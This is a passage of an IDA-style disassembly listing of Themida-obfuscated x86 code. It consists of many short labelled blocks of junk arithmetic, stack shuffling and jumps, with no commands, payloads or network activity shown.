		mov	ecx, esp
		jmp	loc_55C417
; ---------------------------------------------------------------------------


loc_550782:				; CODE XREF: Themida_:00555E4Cj
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	cx, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_55A8A4
; ---------------------------------------------------------------------------


loc_5507B1:				; CODE XREF: Themida_:0055D44Fj
		sub	edi, esi
		jmp	loc_5526F2
; ---------------------------------------------------------------------------


loc_5507B8:				; CODE XREF: Themida_:0055229Dj
		dec	ebx
		not	ebx
		add	ebx, 3B4B2B85h
		neg	ebx
		add	ebx, 0FE6858A1h
		add	esi, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56475E
; ---------------------------------------------------------------------------


loc_5507E0:				; CODE XREF: Themida_:00551057j
		and	bl, dh
		jmp	loc_553BD0
; ---------------------------------------------------------------------------


loc_5507E7:				; CODE XREF: Themida_:0055A802j
		add	al, 1
		not	al
		xor	al, 0AFh
		jmp	loc_558670
; ---------------------------------------------------------------------------


loc_5507F2:				; CODE XREF: Themida_:00552926j
		or	ecx, 2C1F5470h
		sub	ecx, 0BEDF7E7Ah
		mov	eax, ecx
		jmp	loc_5633C6
; ---------------------------------------------------------------------------


loc_550805:				; CODE XREF: Themida_:00554FF2j
		mov	ebp, edi
		pop	edi
		add	eax, 16204B27h
		add	eax, 43016DDh
		push	edx
		mov	edx, 2AD931B7h
		add	eax, edx
		pop	edx
		sub	eax, ebp
		sub	eax, 2AD931B7h
		jmp	loc_564471
; ---------------------------------------------------------------------------


loc_550827:				; CODE XREF: Themida_:00553015j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_559D3F
; ---------------------------------------------------------------------------


loc_550846:				; CODE XREF: Themida_:0055C5DAj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B44D
; ---------------------------------------------------------------------------


loc_550856:				; CODE XREF: Themida_:0055F8ABj
		pop	dx
		or	cl, 73h
		jmp	loc_5582C7
; ---------------------------------------------------------------------------


loc_550860:				; CODE XREF: Themida_:0055DAADj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_564666
; ---------------------------------------------------------------------------


loc_550871:				; CODE XREF: Themida_:00553254j
		pop	eax
		shr	ebp, 3
		sub	ebp, 2758E75h
		add	edi, ebp
		pop	ebp
		push	edx
		jmp	loc_5512C7
; ---------------------------------------------------------------------------


loc_550884:				; CODE XREF: Themida_:00565581j
		pop	esi
		jmp	loc_55C687
; ---------------------------------------------------------------------------


loc_55088A:				; CODE XREF: Themida_:00557718j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5633BF
; ---------------------------------------------------------------------------


loc_55089D:				; CODE XREF: Themida_:00550AC0j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5508A2:				; CODE XREF: Themida_:0055951Bj
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 78E3197Eh
		sub	ecx, 78E3197Ah
		add	edi, ecx
		jmp	loc_562F9A
; ---------------------------------------------------------------------------


loc_5508BA:				; CODE XREF: Themida_:005523F5j
		xor	edi, 74D28BD4h
		add	ebx, edi
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5586E8
; ---------------------------------------------------------------------------


loc_5508D1:				; CODE XREF: Themida_:00561900j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 28826F9Fh
		xor	edx, 28826F9Bh
		jmp	loc_5653F6
; ---------------------------------------------------------------------------


loc_5508E8:				; CODE XREF: Themida_:0055D923j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 36D46439h
		dec	edx
		jmp	loc_553FC4
; ---------------------------------------------------------------------------


loc_550906:				; CODE XREF: Themida_:00554901j
		shr	ch, 3
		xor	ch, 27h
		or	ch, 10h
		jmp	loc_55AF5C
; ---------------------------------------------------------------------------


loc_550914:				; CODE XREF: Themida_:00565C71j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_562FB2
; ---------------------------------------------------------------------------


loc_550927:				; CODE XREF: Themida_:005650F4j
		not	dh
		add	dh, 51h
		sub	bl, dh
		pop	edx
		jmp	loc_55E089
; ---------------------------------------------------------------------------
		push	eax
		push	edx
		mov	dl, bh
		jmp	loc_5555D2
; ---------------------------------------------------------------------------


loc_55093D:				; CODE XREF: Themida_:00552DD1j
		add	esi, 4
		add	esi, 4
		jmp	loc_551B51
; ---------------------------------------------------------------------------


loc_55094E:				; CODE XREF: Themida_:0055F987j
		add	ecx, 0FDF37B74h
		add	eax, 626A523Eh
		add	eax, ecx
		push	ebx
		mov	ebx, 626A523Eh
		jmp	loc_55824B
; ---------------------------------------------------------------------------


loc_550966:				; CODE XREF: Themida_:00559D62j
		mov	edi, 724E07AFh
		add	edi, 44CA2052h
		and	edi, 4F752BB6h
		sub	edi, 428E542Ch
		push	edi
		pop	ebp
		pop	edi
		jmp	loc_554EBF
; ---------------------------------------------------------------------------


loc_550985:				; CODE XREF: Themida_:00559CFEj
		add	esp, 4
		add	dword ptr [esp+4], 6E6863A8h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 6E6863A8h
		pop	ebx
		jmp	loc_5541F8
; ---------------------------------------------------------------------------


loc_5509A5:				; CODE XREF: Themida_:0055C480j
		mov	ebp, esi
		pop	esi
		push	esi
		mov	esi, ebp
		mov	edi, esi
		pop	esi
		pop	ebp
		add	esi, 2FD706BDh
		sub	esi, edi
		sub	esi, 2FD706BDh
		mov	edi, [esp]
		jmp	loc_562DD0
; ---------------------------------------------------------------------------


loc_5509C5:				; CODE XREF: Themida_:00557F8Fj
		sub	cl, dh
		sub	cl, 83h
		jmp	loc_55241A
; ---------------------------------------------------------------------------


loc_5509CF:				; CODE XREF: Themida_:005631FEj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5552F0
; ---------------------------------------------------------------------------


loc_5509E1:				; CODE XREF: Themida_:0056074Bj
		inc	edx
		push	esi
		mov	esi, 0AD594Fh
		or	edx, esi
		mov	esi, [esp]
		push	119h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_560C28
; ---------------------------------------------------------------------------


loc_550A08:				; CODE XREF: Themida_:005637A1j
		add	eax, esi
		pop	esi
		jmp	loc_55DC57
; ---------------------------------------------------------------------------


loc_550A10:				; CODE XREF: Themida_:0055C8DCj
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	907h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_562ACC
; ---------------------------------------------------------------------------


loc_550A37:				; CODE XREF: Themida_:00562F03j
		push	eax
		mov	eax, 37805D01h
		push	ebp
		mov	ebp, 35501A28h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, eax
		add	ecx, 35501A28h
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, 0BA4FB862h
		xor	eax, ecx
		jmp	loc_55D5FC
; ---------------------------------------------------------------------------


loc_550A64:				; CODE XREF: Themida_:0055F8D8j
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		push	7C4Eh
		mov	[esp], esi
		push	646570CAh
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 5EEB78DEh
		dec	ecx
		shr	ecx, 5
		add	ecx, 25D417EAh
		add	ecx, 0E888C5B7h
		jmp	loc_551A86
; ---------------------------------------------------------------------------


loc_550A9E:				; CODE XREF: Themida_:00565B31j
		sub	ebx, 1957F20h
		push	7595h
		mov	[esp], ebp
		mov	ebp, 40212164h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_551A01
; ---------------------------------------------------------------------------


loc_550AB9:				; CODE XREF: Themida_:0055BD41j
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_55089D
; ---------------------------------------------------------------------------


loc_550AC5:				; CODE XREF: Themida_:00564AF9j
		inc	esi
		add	esi, 187E09B6h
		sub	ebp, esi
		pop	esi
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ecx, 19490ADBh
		shl	ecx, 1
		add	ecx, 5A5E127Fh
		or	ebx, ecx
		jmp	loc_559046
; ---------------------------------------------------------------------------


loc_550AEC:				; CODE XREF: Themida_:005531E4j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55980D
; ---------------------------------------------------------------------------


loc_550B00:				; CODE XREF: Themida_:00554093j
		neg	esi
		add	esi, 78223D04h
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_560B3A
; ---------------------------------------------------------------------------


loc_550B23:				; CODE XREF: Themida_:00557728j
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5645E7
; ---------------------------------------------------------------------------


loc_550B2C:				; CODE XREF: Themida_:0055D4E9j
		mov	edx, 69F13D1h
		add	ecx, edx
		jmp	loc_555D3C
; ---------------------------------------------------------------------------


loc_550B38:				; CODE XREF: Themida_:0055F28Dj
		push	4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5526EC
; ---------------------------------------------------------------------------


loc_550B4B:				; CODE XREF: Themida_:00561AB3j
		sub	ebp, eax
		pop	eax
		jmp	loc_560456
; ---------------------------------------------------------------------------


loc_550B53:				; CODE XREF: Themida_:00565B0Cj
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		sub	edi, 11282567h
		sub	edi, edx
		jmp	loc_553999
; ---------------------------------------------------------------------------


loc_550B69:				; CODE XREF: Themida_:0056078Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	bx
		push	small 7EAAh
		jmp	loc_554750
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_560EAA
; ---------------------------------------------------------------------------


loc_550B95:				; CODE XREF: Themida_:0055BC82j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55E0A1
; ---------------------------------------------------------------------------


loc_550BAD:				; CODE XREF: Themida_:0055D356j
		mov	edx, 68F7359Ah
		push	edi
		mov	edi, 48BE7AD5h
		sub	edi, 386E64B0h
		and	edx, edi
		pop	edi
		shr	edx, 5
		add	edx, 3A84AAB6h
		add	eax, 11D605DCh
		sub	eax, edx
		sub	eax, 11D605DCh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 4F32853h
		sub	eax, ecx
		jmp	loc_550D49
; ---------------------------------------------------------------------------


loc_550BED:				; CODE XREF: Themida_:005535CDj
		mov	ch, 0ADh
		mov	ah, ch
		jmp	loc_553B9E
; ---------------------------------------------------------------------------


loc_550BF6:				; CODE XREF: Themida_:0055A201j
		mov	[esp], ebx
		push	esi
		mov	esi, 1
		mov	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, ebx
		jmp	loc_55CBC2
; ---------------------------------------------------------------------------


loc_550C0A:				; CODE XREF: Themida_:0055703Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_55B7E5
; ---------------------------------------------------------------------------


loc_550C26:				; CODE XREF: Themida_:00562599j
		mov	ebx, 64A85A50h
		not	ebx
		add	ebx, 7E389E96h
		add	edi, ebx
		pop	ebx
		xor	edi, 8CC22740h
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 756422E2h
		jmp	loc_551355
; ---------------------------------------------------------------------------


loc_550C4D:				; CODE XREF: Themida_:0055F0CAj
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55840B
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 2Eh
		jmp	loc_562A3D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_550C72:				; CODE XREF: Themida_:0055C32Ej
		add	ecx, ebp
		pop	ebp
		add	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		jmp	loc_5637B7
; ---------------------------------------------------------------------------


loc_550C80:				; CODE XREF: Themida_:0055BD55j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_5646E5
; ---------------------------------------------------------------------------


loc_550C8D:				; CODE XREF: Themida_:00551E2Ej
		mov	[esp], ebx
		mov	ebx, 783360DBh
		and	ebx, 3FC06B60h
		xor	ebx, 38EA3C12h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	edx, 12944752h
		sub	edx, 0D02511F3h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 51493CDFh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1F712615h
		add	ecx, esi
		pop	esi
		jmp	loc_55D838
; ---------------------------------------------------------------------------


loc_550CD9:				; CODE XREF: Themida_:00564BA8j
		sub	ebp, 6E4D5FB0h
		add	ebp, ebx
		add	ebp, 6E4D5FB0h
		add	ebp, 0F70789Ch
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		imul	ecx
		push	79F0h
		jmp	loc_55347D
; ---------------------------------------------------------------------------


loc_550D06:				; CODE XREF: Themida_:0055E492j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55FD26
; ---------------------------------------------------------------------------


loc_550D26:				; CODE XREF: Themida_:0055DD85j
		mov	[esp], ecx
		push	eax
		push	58112FCEh
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 4AC4A00h
		jmp	loc_563318
; ---------------------------------------------------------------------------


loc_550D42:				; CODE XREF: Themida_:00555527j
		mov	eax, esp
		jmp	loc_55EC77
; ---------------------------------------------------------------------------


loc_550D49:				; CODE XREF: Themida_:00550BE8j
		pop	ecx
		add	eax, 0C9D0643h
		sub	eax, 6E917A1Bh
		sub	eax, ebx
		add	eax, 6E917A1Bh
		jmp	loc_554C0D
; ---------------------------------------------------------------------------


loc_550D60:				; CODE XREF: Themida_:0055C767j
		mov	ecx, eax
		pop	eax
		add	esi, ecx
		jmp	loc_552C14
; ---------------------------------------------------------------------------


loc_550D6A:				; CODE XREF: Themida_:0055AFC7j
		neg	edx
		shl	edx, 7
		jmp	loc_551B0E
; ---------------------------------------------------------------------------


loc_550D74:				; CODE XREF: Themida_:005563F6j
		inc	ah
		sub	ah, 0D0h
		mov	dl, ah
		jmp	loc_56268A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55B6D5
; ---------------------------------------------------------------------------


loc_550D8E:				; CODE XREF: Themida_:0055E04Fj
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55B527
; ---------------------------------------------------------------------------


loc_550DB2:				; CODE XREF: Themida_:0055D40Cj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55D209
; ---------------------------------------------------------------------------


loc_550DC3:				; CODE XREF: Themida_:0055614Aj
		mov	esp, [esp]
		mov	edi, esi
		pop	esi
		dec	edi
		push	0
		sub	[esp], edi
		jmp	loc_564198
; ---------------------------------------------------------------------------


loc_550DD7:				; CODE XREF: Themida_:0055161Ej
		push	dword ptr [esp]
		jmp	loc_55B91E
; ---------------------------------------------------------------------------


loc_550DDF:				; CODE XREF: Themida_:0056446Cj
		or	ebx, 391814B1h
		jmp	loc_550EBF
; ---------------------------------------------------------------------------


loc_550DEA:				; CODE XREF: Themida_:0055CA34j
		pop	cx
		sub	dh, ch
		sub	dh, 0EDh
		jmp	loc_554C8B
; ---------------------------------------------------------------------------


loc_550DF6:				; CODE XREF: Themida_:00552C01j
		xor	bl, dh
		jmp	loc_554498
; ---------------------------------------------------------------------------


loc_550DFD:				; CODE XREF: Themida_:00555101j
		pop	ecx
		push	edx
		jmp	loc_55DE25
; ---------------------------------------------------------------------------


loc_550E04:				; CODE XREF: Themida_:00565CA4j
		add	esi, 644271F5h
		add	esi, 49DA35BBh
		push	edi
		mov	edi, 12592853h
		inc	edi
		dec	edi
		xor	edi, 62940254h
		and	edi, 170517DBh
		jmp	loc_55B584
; ---------------------------------------------------------------------------


loc_550E29:				; CODE XREF: Themida_:0055BF8Bj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_550E2E:				; CODE XREF: Themida_:0055CD1Cj
		pop	edx
		sub	al, 3Ch
		sub	al, cl
		add	al, 3Ch
		push	ecx
		mov	cl, 12h
		sub	cl, 96h
		push	eax
		mov	ah, 0F9h
		jmp	loc_55E13F
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		mov	esi, 45340E2Ch
		shr	esi, 3
		jmp	loc_5617AE
; ---------------------------------------------------------------------------


loc_550E52:				; CODE XREF: Themida_:0055E416j
		mov	edi, [esp]
		jmp	loc_55DBB2
; ---------------------------------------------------------------------------


loc_550E5A:				; CODE XREF: Themida_:0056414Aj
		pop	edi
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 195116EEh
		push	ebp
		mov	ebp, 1C6875FCh
		jmp	loc_564AE8
; ---------------------------------------------------------------------------


loc_550E77:				; CODE XREF: Themida_:0055C7ACj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	eax
		push	esp
		jmp	loc_562824
; ---------------------------------------------------------------------------


loc_550E96:				; CODE XREF: Themida_:00560160j
		xor	eax, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_552DB7
; ---------------------------------------------------------------------------


loc_550EA7:				; CODE XREF: Themida_:0055C379j
		add	esp, 4
		jmp	loc_55DC25
; ---------------------------------------------------------------------------


loc_550EAF:				; CODE XREF: Themida_:005522F2j
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_550EB9:				; CODE XREF: Themida_:00559B61j
		push	edx
		jmp	loc_5659A0
; ---------------------------------------------------------------------------


loc_550EBF:				; CODE XREF: Themida_:00550DE5j
		xor	ebx, 173655F9h
		sub	ebx, 200EB233h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_559EC0
; ---------------------------------------------------------------------------


loc_550ED5:				; CODE XREF: Themida_:0056232Ej
		push	7F3h
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		jmp	loc_561E94
; ---------------------------------------------------------------------------


loc_550EED:				; CODE XREF: Themida_:0055456Cj
		push	dword ptr [esp]
		pop	ecx
		push	51DFh
		mov	[esp], edi
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5626E1
; ---------------------------------------------------------------------------


loc_550F15:				; CODE XREF: Themida_:00563E11j
		pop	ebx
		sub	eax, 64C22ABAh
		add	eax, edx
		add	eax, 64C22ABAh
		pop	edx
		xchg	eax, [esp]
		pop	esp
		idiv	cx
		push	small 3D44h
		mov	[esp], dx
		jmp	loc_56532E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_559934
; ---------------------------------------------------------------------------


loc_550F3F:				; CODE XREF: Themida_:0055FE48j
		mov	dl, 6Dh
		push	edx
		mov	dl, 3Bh
		not	dl
		sub	dl, 1
		push	eax
		push	edx
		jmp	loc_5546B1
; ---------------------------------------------------------------------------


loc_550F50:				; CODE XREF: Themida_:00562EE6j
		add	esi, ebp
		pop	ebp
		sub	eax, esi
		pop	esi
		inc	eax
		push	eax
		neg	dword ptr [esp]
		pop	eax
		add	eax, 0E905B6C7h
		mov	esi, eax
		pop	eax
		inc	esi
		push	edx
		mov	edx, 44D1778Eh
		inc	edx
		shr	edx, 7
		sub	esp, 4
		mov	[esp], ebp
		push	39E3h
		mov	[esp], edi
		mov	edi, 1C5D5D21h
		jmp	loc_554D84
; ---------------------------------------------------------------------------


loc_550F8A:				; CODE XREF: Themida_:00561F37j
		pop	esi
		jmp	loc_556EB5
; ---------------------------------------------------------------------------


loc_550F90:				; CODE XREF: Themida_:005625AEj
		push	edx
		jmp	loc_55170A
; ---------------------------------------------------------------------------


loc_550F96:				; CODE XREF: Themida_:00551D87j
		xor	ecx, 0E05B94B6h
		mov	edi, ecx
		jmp	loc_5577AF
; ---------------------------------------------------------------------------


loc_550FA3:				; CODE XREF: Themida_:005505ECj
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		push	0CF2h
		mov	[esp], esp
		jmp	loc_562AB8
; ---------------------------------------------------------------------------


loc_550FC7:				; CODE XREF: Themida_:00553F5Bj
		add	ebp, 68734AC3h
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_554514
; ---------------------------------------------------------------------------


loc_550FDF:				; CODE XREF: Themida_:00565127j
		add	bl, al
		push	eax
		jmp	loc_56545D
; ---------------------------------------------------------------------------


loc_550FE7:				; CODE XREF: Themida_:00551BA6j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_565ACF
; ---------------------------------------------------------------------------


loc_550FF2:				; CODE XREF: Themida_:0055792Cj
		push	7BDh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 1DF07CE8h
		push	esi
		mov	esi, 41D212A2h
		sub	esi, 5A5816EAh
		jmp	loc_55B897
; ---------------------------------------------------------------------------


loc_551016:				; CODE XREF: Themida_:00551C19j
		pop	edx
		push	1771h
		jmp	loc_5647E8
; ---------------------------------------------------------------------------


loc_551021:				; CODE XREF: Themida_:00560593j
		mov	ebx, 437E5359h
		jmp	loc_55AA0F
; ---------------------------------------------------------------------------


loc_55102B:				; CODE XREF: Themida_:0055A533j
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_565A87
; ---------------------------------------------------------------------------


loc_551042:				; CODE XREF: Themida_:00556448j
		add	eax, 1
		jmp	loc_5591B4
; ---------------------------------------------------------------------------


loc_55104C:				; CODE XREF: Themida_:005529D9j
		mov	[esp], ebx
		mov	bl, 76h
		push	edx
		mov	dh, 5Ch
		add	dh, 96h
		jmp	loc_5507E0
; ---------------------------------------------------------------------------


loc_55105C:				; CODE XREF: Themida_:0055437Fj
		mov	eax, 7FCD743Ah
		push	ecx
		mov	ecx, 262F3F84h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, eax
		push	ecx
		jmp	loc_558208
; ---------------------------------------------------------------------------


loc_55107A:				; CODE XREF: Themida_:0055821Fj
		shr	ah, 3
		add	ah, 7Bh
		add	bl, ah
		pop	eax
		jmp	loc_55537A
; ---------------------------------------------------------------------------


loc_551088:				; CODE XREF: Themida_:005564A5j
		mov	edx, esp
		add	edx, 4
		jmp	loc_55FE86
; ---------------------------------------------------------------------------


loc_551095:				; CODE XREF: Themida_:005552B2j
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 79521123h
		add	esi, ecx
		pop	ecx
		jmp	loc_55770F
; ---------------------------------------------------------------------------


loc_5510AE:				; CODE XREF: Themida_:0055B0D7j
		push	1867h
		mov	[esp], edx
		push	eax
		push	ecx
		mov	ecx, 7FD725C1h
		mov	eax, 91FC90D2h
		add	eax, 13D7254Eh
		sub	eax, ecx
		sub	eax, 13D7254Eh
		pop	ecx
		mov	edx, 0EDDA9513h
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 55EE7C35h
		add	edx, edi
		jmp	loc_5511A8
; ---------------------------------------------------------------------------


loc_5510E4:				; CODE XREF: Themida_:00564BFCj
		sub	ecx, 4
		jmp	loc_5631B9
; ---------------------------------------------------------------------------


loc_5510EF:				; CODE XREF: Themida_:00561A77j
		add	eax, 4
		add	eax, 4
		jmp	loc_563B83
; ---------------------------------------------------------------------------


loc_5510FC:				; CODE XREF: Themida_:00554962j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56277B
; ---------------------------------------------------------------------------


loc_551105:				; CODE XREF: Themida_:005647ADj
		pop	esp
		mov	esi, [esp]
		jmp	loc_554E1F
; ---------------------------------------------------------------------------


loc_55110E:				; CODE XREF: Themida_:00561710j
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_55AF17
; ---------------------------------------------------------------------------


loc_551120:				; CODE XREF: Themida_:00565B16j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55C039
; ---------------------------------------------------------------------------


loc_551131:				; CODE XREF: Themida_:00558F50j
		mov	[esp], ebx
		jmp	loc_559C1E
; ---------------------------------------------------------------------------


loc_551139:				; CODE XREF: Themida_:0055B8B3j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_55B0B3
; ---------------------------------------------------------------------------


loc_551148:				; CODE XREF: Themida_:0055DA66j
		pop	eax
		sub	ebx, 77986D47h
		push	ebp
		mov	ebp, 0CA049EA6h
		jmp	loc_5632C7
; ---------------------------------------------------------------------------


loc_55115A:				; CODE XREF: Themida_:0055065Ej
		and	bh, 87h
		push	ecx
		mov	ch, 1
		not	ch
		jmp	loc_565535
; ---------------------------------------------------------------------------


loc_551167:				; CODE XREF: Themida_:0055A1D5j
		sub	esi, 0BEA510FDh
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		not	ebx
		shl	ebx, 2
		neg	ebx
		push	edi
		push	ecx
		jmp	loc_56512C
; ---------------------------------------------------------------------------


loc_551183:				; CODE XREF: Themida_:00558EEDj
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		push	1C17h
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_554E5B
; ---------------------------------------------------------------------------


loc_5511A8:				; CODE XREF: Themida_:005510DFj
		pop	edi
		add	edx, edi
		sub	edx, 55EE7C35h
		push	3D8Dh
		jmp	loc_55BDF4
; ---------------------------------------------------------------------------


loc_5511BB:				; CODE XREF: Themida_:00553073j
		sub	edx, 0B99E861Ch
		add	ecx, edx
		pop	edx
		sub	ebx, ecx
		jmp	loc_55FC31
; ---------------------------------------------------------------------------


loc_5511CB:				; CODE XREF: Themida_:0055957Fj
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 0C3250B29h
		jmp	loc_55E39B
; ---------------------------------------------------------------------------


loc_5511D9:				; CODE XREF: Themida_:0055B339j
		sub	edx, 7D7911ECh
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5511E4:				; CODE XREF: Themida_:00559496j
		mov	[esp], eax
		mov	eax, 0AD0390Ch
		mov	edi, 0AD03908h
		xor	edi, eax
		jmp	loc_559389
; ---------------------------------------------------------------------------


loc_5511F8:				; CODE XREF: Themida_:00564AE3j
		add	eax, 4D1D0E44h
		add	eax, 2D206089h
		push	dword ptr [esp]
		jmp	loc_564D88
; ---------------------------------------------------------------------------


loc_55120A:				; CODE XREF: Themida_:00563148j
		and	edx, 5C5B307Eh
		push	ecx
		mov	ecx, esp
		jmp	loc_5659A9
; ---------------------------------------------------------------------------


loc_551218:				; CODE XREF: Themida_:0055BBC2j
		pop	edi
		jmp	loc_560BE1
; ---------------------------------------------------------------------------


loc_55121E:				; CODE XREF: Themida_:005578CEj
		sub	esi, 75A25212h
		add	esi, edx
		jmp	loc_5576E9
; ---------------------------------------------------------------------------


loc_55122B:				; CODE XREF: Themida_:005532E1j
		mov	esi, 0B612B8Eh
		sub	edi, esi
		pop	esi
		add	edi, esi
		jmp	loc_55A9B6
; ---------------------------------------------------------------------------


loc_55123A:				; CODE XREF: Themida_:0055897Bj
		push	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		xchg	ecx, edi
		and	edi, 2B0B09A2h
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		push	37F7h
		mov	[esp], ebx
		mov	ebx, 63AB0B2Dh
		push	edx
		mov	edx, 0F1A7D78h
		and	ebx, edx
		jmp	loc_562F57
; ---------------------------------------------------------------------------


loc_551273:				; CODE XREF: Themida_:00561A19j
		mov	[esp], esi
		jmp	loc_55AF32
; ---------------------------------------------------------------------------


loc_55127B:				; CODE XREF: Themida_:00556601j
		sub	dword ptr [esp], 16ED6151h
		pop	edi
		push	ecx
